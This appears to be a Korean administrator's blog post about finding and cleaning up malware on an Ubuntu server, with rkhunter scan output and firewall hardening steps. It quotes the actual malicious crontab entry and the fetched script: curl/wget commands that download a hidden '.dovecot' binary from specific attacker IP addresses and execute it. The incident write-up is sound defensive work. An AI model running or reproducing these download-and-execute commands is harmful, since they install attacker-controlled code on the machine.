언제 부터인가 ubuntu 서버에 CPU가 100%이상 사용하는 프로세스가 보이고 해킹이 의심되는 현상이 발생했다.
crontab에 내가 등록한 job이 없어 지고 아래의 항목이 추가된것을 확인하고 처음에는 보안패치를 해서 자동으로 등록되는 job인줄 알고 대소롭게 여기지 않고 그냥 넘어 갔는데… 어느 순간인가 동일한 내용이 등록되어 있는것을 보고 난감했다.
crontab -l 명령으로 조회를 해보면 아래와 같다.
ubuntu:~$ crontab -l */23 * * * * (curl -k -fsSL https://termbin.com/mfzn || wget --no-check-certificate -q -O- https://termbin.com/mfzn)|sh
https://termbin.com/mfzn 사이트에 접속해면…
((curl -fsSL --connect-timeout 10 http://186.226.176.254/dovecot -o /tmp/.dovecot || wget --timeout=10 -q http://186.226.176.254/dovecot -O /tmp/.dovecot)||curl -fsSL --connect-timeout 10 http://185.84.91.154:443/dovecot -o /tmp/.dovecot||wget --timeout=10 -q http://185.84.91.154:443/dovecot -O /tmp/.dovecot) && chmod +x /tmp/.dovecot /tmp/.dovecot
dovecot 파일은 linux-vdso.so, libc.so 등 라이브러리를 참조하는 놈입니다. 매시간 23분 마다 /tmp/.dovecot 받아서 실행권한을 설정하게 스크립트를 설정해 놓고 있었습니다.
ubuntu:~$ ldd dovecot
linux-vdso.so.1 => (0x00007ffe927c5000)
libc.so.6 => /lib64/libc.so.6 (0x00007fc8c1900000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc8c1ccd000)누가 어떤 경로로 어떻게 설치 했는지 찾을 수 있을지 모르겠다…
정신을 차리고 tmp 폴더 부터 다시 찾아 본다.
root@ubuntu:/tmp# ls -al 합계 104 drwxrwxrwt 24 root root 4096 6월 11 09:36 . drwxr-xr-x 24 root root 4096 6월 5 22:53 .. drwxrwxrwt 2 root root 4096 6월 5 22:58 .ICE-unix drwxrwxrwt 2 root root 4096 6월 5 22:58 .Test-unix drwxrwxrwt 2 root root 4096 6월 5 22:58 .X11-unix drwxrwxrwt 2 root root 4096 6월 5 22:58 .XIM-unix -rwxr-x--- 1 chohi chohi 6752 5월 30 03:32 .dovecot drwxrwxrwt 2 root root 4096 6월 5 22:58 .font-unix drwxr-x--- 2 chohi chohi 4096 6월 10 09:43 hsperfdata_chohi drwxrwxr-x 2 chohi chohi 4096 6월 5 23:08 jna-94636843 drwx------ 2 chohi chohi 4096 6월 5 23:05 ssh-3doo9adyu6 drwx------ 2 chohi chohi 4096 6월 6 05:50 ssh-6J2YGqCSwx drwx------ 2 chohi chohi 4096 6월 5 23:46 ssh-9g4AChhpsN drwx------ 2 chohi chohi 4096 6월 5 22:59 ssh-TgPJ00EnoH drwx------ 2 chohi chohi 4096 6월 8 15:54 ssh-aIcaUjsQCw drwx------ 2 chohi chohi 4096 6월 6 00:07 ssh-lAdtd5e1rP drwx------ 2 chohi chohi 4096 6월 6 00:47 ssh-n3ek5TdGX5 drwx------ 2 chohi chohi 4096 6월 11 08:36 ssh-sXzTLmvSwT drwx------ 2 chohi chohi 4096 6월 11 09:18 ssh-svffT93zdp drwx------ 2 chohi chohi 4096 6월 8 16:08 ssh-wg9C63dF0Z drwx------ 2 chohi chohi 4096 6월 8 15:57 ssh-ymPNhE1UBh drwx------ 2 chohi chohi 4096 6월 5 23:26 ssh-zYYK0JxBYP drwx------ 3 root root 4096 6월 5 22:58 systemd-private-505c245ad90b489d94c81a140a27e391-systemd-resolved.service-Zgg598 drwx------ 3 root root 4096 6월 5 22:58 systemd-private-505c245ad90b489d94c81a140a27e391-systemd-timesyncd.service-a47ed2 drwx------ 2 root root 4096 6월 5 22:58 vmware-root_670-2722828838
5월 30일 03시 32분 .dovecot 파일이 생겼다. 이시간대 로그를 봐야 하는데, 시간이 많이 지나서 확인은 못했다.
rkhunter (Rootkit Hunter)루트킷 , 백도어 및 가능한 로컬 익스플로잇 을 검색 하는 Unix 기반 도구를 설치하여 점검해 봤습니다.
# rkhunter 다운로드
[root@www ]# wget http://downloads.sourceforge.net/rkhunter/rkhunter-1.4.6.tar.gz
# 압축풀어 주고 설치를 진행합니다.
root@ubuntu:~/temp/rkhunter-1.4.6# ./installer.sh --install
Checking system for:
Rootkit Hunter installer files: found
A web file download command: wget found
Starting installation:
Checking installation directory "/usr/local": it exists and is writable.
Checking installation directories:
Directory /usr/local/share/doc/rkhunter-1.4.6: creating: OK
Directory /usr/local/share/man/man8: creating: OK
Directory /etc: exists and is writable.
Directory /usr/local/bin: exists and is writable.
Directory /usr/local/lib: exists and is writable.
Directory /var/lib: exists and is writable.
Directory /usr/local/lib/rkhunter/scripts: creating: OK
Directory /var/lib/rkhunter/db: creating: OK
Directory /var/lib/rkhunter/tmp: creating: OK
Directory /var/lib/rkhunter/db/i18n: creating: OK
Directory /var/lib/rkhunter/db/signatures: creating: OK
Installing check_modules.pl: OK
Installing filehashsha.pl: OK
Installing stat.pl: OK
Installing readlink.sh: OK
Installing backdoorports.dat: OK
Installing mirrors.dat: OK
Installing programs_bad.dat: OK
Installing suspscan.dat: OK
Installing rkhunter.8: OK
Installing ACKNOWLEDGMENTS: OK
Installing CHANGELOG: OK
Installing FAQ: OK
Installing LICENSE: OK
Installing README: OK
Installing language support files: OK
Installing ClamAV signatures: OK
Installing rkhunter: OK
Installing rkhunter.conf: OK
Installation complete
# rkhunter 실행.
root@ubuntu:~/temp/rkhunter-1.4.6# rkhunter -c
[ Rootkit Hunter version 1.4.6 ]
Checking system commands...
Performing 'strings' command checks
Checking 'strings' command [ Skipped ]
Performing 'shared libraries' checks
Checking for preloading variables [ None found ]
Checking for preloaded libraries [ None found ]
Checking LD_LIBRARY_PATH variable [ Not found ]
Performing file properties checks
Checking for prerequisites [ Warning ]
/usr/local/bin/rkhunter [ OK ]
/usr/sbin/adduser [ Warning ]
/usr/sbin/chroot [ OK ]
/usr/sbin/cron [ OK ]
/usr/sbin/groupadd [ OK ]
/usr/sbin/groupdel [ OK ]
/usr/sbin/groupmod [ OK ]
/usr/sbin/grpck [ OK ]
/usr/sbin/nologin [ OK ]
/usr/sbin/pwck [ OK ]
/usr/sbin/rsyslogd [ OK ]
/usr/sbin/sshd [ OK ]
/usr/sbin/useradd [ OK ]
/usr/sbin/userdel [ OK ]
/usr/sbin/usermod [ OK ]
/usr/sbin/vipw [ OK ]
/usr/bin/awk [ OK ]
/usr/bin/basename [ OK ]
/usr/bin/chattr [ OK ]
/usr/bin/cut [ OK ]
/usr/bin/diff [ OK ]
/usr/bin/dirname [ OK ]
/usr/bin/dpkg [ OK ]
/usr/bin/dpkg-query [ OK ]
/usr/bin/du [ OK ]
/usr/bin/env [ OK ]
/usr/bin/file [ OK ]
/usr/bin/find [ OK ]
/usr/bin/groups [ OK ]
/usr/bin/head [ OK ]
/usr/bin/id [ OK ]
/usr/bin/ipcs [ OK ]
/usr/bin/killall [ OK ]
/usr/bin/last [ OK ]
/usr/bin/lastlog [ OK ]
/usr/bin/ldd [ Warning ]
/usr/bin/less [ OK ]
/usr/bin/locate [ OK ]
/usr/bin/logger [ OK ]
/usr/bin/lsattr [ OK ]
/usr/bin/lsof [ OK ]
/usr/bin/md5sum [ OK ]
/usr/bin/mlocate [ OK ]
/usr/bin/newgrp [ OK ]
/usr/bin/passwd [ OK ]
/usr/bin/perl [ OK ]
/usr/bin/pgrep [ OK ]
/usr/bin/pkill [ OK ]
/usr/bin/pstree [ OK ]
/usr/bin/rpm [ OK ]
/usr/bin/runcon [ OK ]
/usr/bin/sha1sum [ OK ]
/usr/bin/sha224sum [ OK ]
/usr/bin/sha256sum [ OK ]
/usr/bin/sha384sum [ OK ]
/usr/bin/sha512sum [ OK ]
/usr/bin/sort [ OK ]
/usr/bin/ssh [ OK ]
/usr/bin/stat [ OK ]
/usr/bin/strace [ OK ]
/usr/bin/sudo [ OK ]
/usr/bin/tail [ OK ]
/usr/bin/telnet [ OK ]
/usr/bin/test [ OK ]
/usr/bin/top [ OK ]
/usr/bin/touch [ OK ]
/usr/bin/tr [ OK ]
/usr/bin/uniq [ OK ]
/usr/bin/users [ OK ]
/usr/bin/vmstat [ OK ]
/usr/bin/w [ OK ]
/usr/bin/watch [ OK ]
/usr/bin/wc [ OK ]
/usr/bin/wget [ OK ]
/usr/bin/whatis [ OK ]
/usr/bin/whereis [ OK ]
/usr/bin/which [ OK ]
/usr/bin/who [ OK ]
/usr/bin/whoami [ OK ]
/usr/bin/numfmt [ OK ]
/usr/bin/gawk [ OK ]
/usr/bin/telnet.netkit [ OK ]
/usr/bin/w.procps [ OK ]
/sbin/depmod [ OK ]
/sbin/fsck [ OK ]
/sbin/ifconfig [ OK ]
/sbin/ifdown [ OK ]
/sbin/ifup [ OK ]
/sbin/init [ OK ]
/sbin/insmod [ OK ]
/sbin/ip [ OK ]
/sbin/lsmod [ OK ]
/sbin/modinfo [ OK ]
/sbin/modprobe [ OK ]
/sbin/rmmod [ OK ]
/sbin/route [ OK ]
/sbin/runlevel [ OK ]
/sbin/sulogin [ OK ]
/sbin/sysctl [ OK ]
/bin/bash [ OK ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/cp [ OK ]
/bin/date [ OK ]
/bin/df [ OK ]
/bin/dmesg [ OK ]
/bin/echo [ OK ]
/bin/ed [ OK ]
/bin/egrep [ Warning ]
/bin/fgrep [ Warning ]
/bin/fuser [ OK ]
/bin/grep [ OK ]
/bin/ip [ OK ]
/bin/kill [ OK ]
/bin/less [ OK ]
/bin/login [ OK ]
/bin/ls [ OK ]
/bin/lsmod [ OK ]
/bin/mktemp [ OK ]
/bin/more [ OK ]
/bin/mount [ OK ]
/bin/mv [ OK ]
/bin/netstat [ OK ]
/bin/ping [ OK ]
/bin/ps [ OK ]
/bin/pwd [ OK ]
/bin/readlink [ OK ]
/bin/sed [ OK ]
/bin/sh [ OK ]
/bin/su [ OK ]
/bin/touch [ OK ]
/bin/uname [ OK ]
/bin/which [ Warning ]
/bin/kmod [ OK ]
/bin/systemd [ OK ]
/bin/systemctl [ OK ]
/bin/dash [ OK ]
/lib/systemd/systemd [ OK ]
/etc/rkhunter.conf [ OK ]
[Press <ENTER> to continue]
Checking for rootkits...
Performing check of known rootkit files and directories
55808 Trojan - Variant A [ Not found ]
ADM Worm [ Not found ]
AjaKit Rootkit [ Not found ]
Adore Rootkit [ Not found ]
aPa Kit [ Not found ]
Apache Worm [ Not found ]
Ambient (ark) Rootkit [ Not found ]
Balaur Rootkit [ Not found ]
BeastKit Rootkit [ Not found ]
beX2 Rootkit [ Not found ]
BOBKit Rootkit [ Not found ]
cb Rootkit [ Not found ]
CiNIK Worm (Slapper.B variant) [ Not found ]
Danny-Boy's Abuse Kit [ Not found ]
Devil RootKit [ Not found ]
Diamorphine LKM [ Not found ]
Dica-Kit Rootkit [ Not found ]
Dreams Rootkit [ Not found ]
Duarawkz Rootkit [ Not found ]
Ebury backdoor [ Not found ]
Enye LKM [ Not found ]
Flea Linux Rootkit [ Not found ]
Fu Rootkit [ Not found ]
Fuck`it Rootkit [ Not found ]
GasKit Rootkit [ Not found ]
Heroin LKM [ Not found ]
HjC Kit [ Not found ]
ignoKit Rootkit [ Not found ]
IntoXonia-NG Rootkit [ Not found ]
Irix Rootkit [ Not found ]
Jynx Rootkit [ Not found ]
Jynx2 Rootkit [ Not found ]
KBeast Rootkit [ Not found ]
Kitko Rootkit [ Not found ]
Knark Rootkit [ Not found ]
ld-linuxv.so Rootkit [ Not found ]
Li0n Worm [ Not found ]
Lockit / LJK2 Rootkit [ Not found ]
Mokes backdoor [ Not found ]
Mood-NT Rootkit [ Not found ]
MRK Rootkit [ Not found ]
Ni0 Rootkit [ Not found ]
Ohhara Rootkit [ Not found ]
Optic Kit (Tux) Worm [ Not found ]
Oz Rootkit [ Not found ]
Phalanx Rootkit [ Not found ]
Phalanx2 Rootkit [ Not found ]
Phalanx2 Rootkit (extended tests) [ Not found ]
Portacelo Rootkit [ Not found ]
R3dstorm Toolkit [ Not found ]
RH-Sharpe's Rootkit [ Not found ]
RSHA's Rootkit [ Not found ]
Scalper Worm [ Not found ]
Sebek LKM [ Not found ]
Shutdown Rootkit [ Not found ]
SHV4 Rootkit [ Not found ]
SHV5 Rootkit [ Not found ]
Sin Rootkit [ Not found ]
Slapper Worm [ Not found ]
Sneakin Rootkit [ Not found ]
'Spanish' Rootkit [ Not found ]
Suckit Rootkit [ Not found ]
Superkit Rootkit [ Not found ]
TBD (Telnet BackDoor) [ Not found ]
TeLeKiT Rootkit [ Not found ]
T0rn Rootkit [ Not found ]
trNkit Rootkit [ Not found ]
Trojanit Kit [ Not found ]
Tuxtendo Rootkit [ Not found ]
URK Rootkit [ Not found ]
Vampire Rootkit [ Not found ]
VcKit Rootkit [ Not found ]
Volc Rootkit [ Not found ]
Xzibit Rootkit [ Not found ]
zaRwT.KiT Rootkit [ Not found ]
ZK Rootkit [ Not found ]
[Press <ENTER> to continue]
Performing additional rootkit checks
Suckit Rootkit additional checks [ OK ]
Checking for possible rootkit files and directories [ None found ]
Checking for possible rootkit strings [ Skipped ]
Performing malware checks
Checking running processes for suspicious files [ None found ]
Checking for login backdoors [ None found ]
Checking for sniffer log files [ None found ]
Checking for suspicious directories [ None found ]
Checking for suspicious (large) shared memory segments [ None found ]
Performing Linux specific checks
Checking loaded kernel modules [ OK ]
Checking kernel module names [ OK ]
[Press <ENTER> to continue]
Checking the network...
Performing checks on the network ports
Checking for backdoor ports [ None found ]
Performing checks on the network interfaces
Checking for promiscuous interfaces [ None found ]
Checking the local host...
Performing system boot checks
Checking for local host name [ Found ]
Checking for system startup files [ Found ]
Checking system startup files for malware [ None found ]
Performing group and account checks
Checking for passwd file [ Found ]
Checking for root equivalent (UID 0) accounts [ None found ]
Checking for passwordless accounts [ None found ]
Checking for passwd file changes [ None found ]
Checking for group file changes [ None found ]
Checking root account shell history files [ OK ]
Performing system configuration file checks
Checking for an SSH configuration file [ Found ]
Checking if SSH root access is allowed [ Warning ]
Checking if SSH protocol v1 is allowed [ Warning ]
Checking for other suspicious configuration settings [ None found ]
Checking for a running system logging daemon [ Found ]
Checking for a system logging configuration file [ Found ]
Checking if syslog remote logging is allowed [ Not allowed ]
Performing filesystem checks
Checking /dev for suspicious file types [ None found ]
Checking for hidden files and directories [ Warning ]
[Press <ENTER> to continue]
System checks summary
=====================
File properties checks...
Required commands check failed
Files checked: 140
Suspect files: 5
Rootkit checks...
Rootkits checked : 380
Possible rootkits: 0
Applications checks...
All checks skipped
The system checks took: 2 minutes and 22 seconds
All results have been written to the log file: /var/log/rkhunter.log
One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)시스템 점검 결과 다행히 검출되지 않았습니다.
조치내용
1. crontab 등록 권한 조정
# /etc/cron.deny 파일에 거부 계정 등록 chohi
2. curl 삭제 처리
# sudo apt-get remove curl
3. ssh 포트 22-> 5자리로 변경
4. 방화벽 SSH, 웹서비스 내부 포트만 accept 나머지는 drop
5. 접근 거부 IP 방화벽 추가
# sudo ufw deny from 52.44.244.0/24
Anywhere DENY IN 52.44.244.0/24
Anywhere DENY IN 185.84.91.0/24
Anywhere DENY IN 186.226.176.0/24
Anywhere DENY IN 5.39.93.0/24
6. outgoing 기본정책 deny로 설정
sudo ufw default deny outgoing #나가는 패킷 deny
sudo ufw allow out to 특정IP port 443 proto tcp #나가는 패킷 특정IP 443만 허용
sudo ufw status verbose #방화벽 설정확인
로그 점검
/var/log/message
/var/log/secure
/var/log/dmesg
/var/log/lastlog
/var/spool/cron
/var/log/utmp
/var/log/wtmp
/var/log/btmp
/var/log/vtmp
바이러스 검사( https://www.virustotal.com )
dovecot파일을 올려서 검사를 해줍니다.
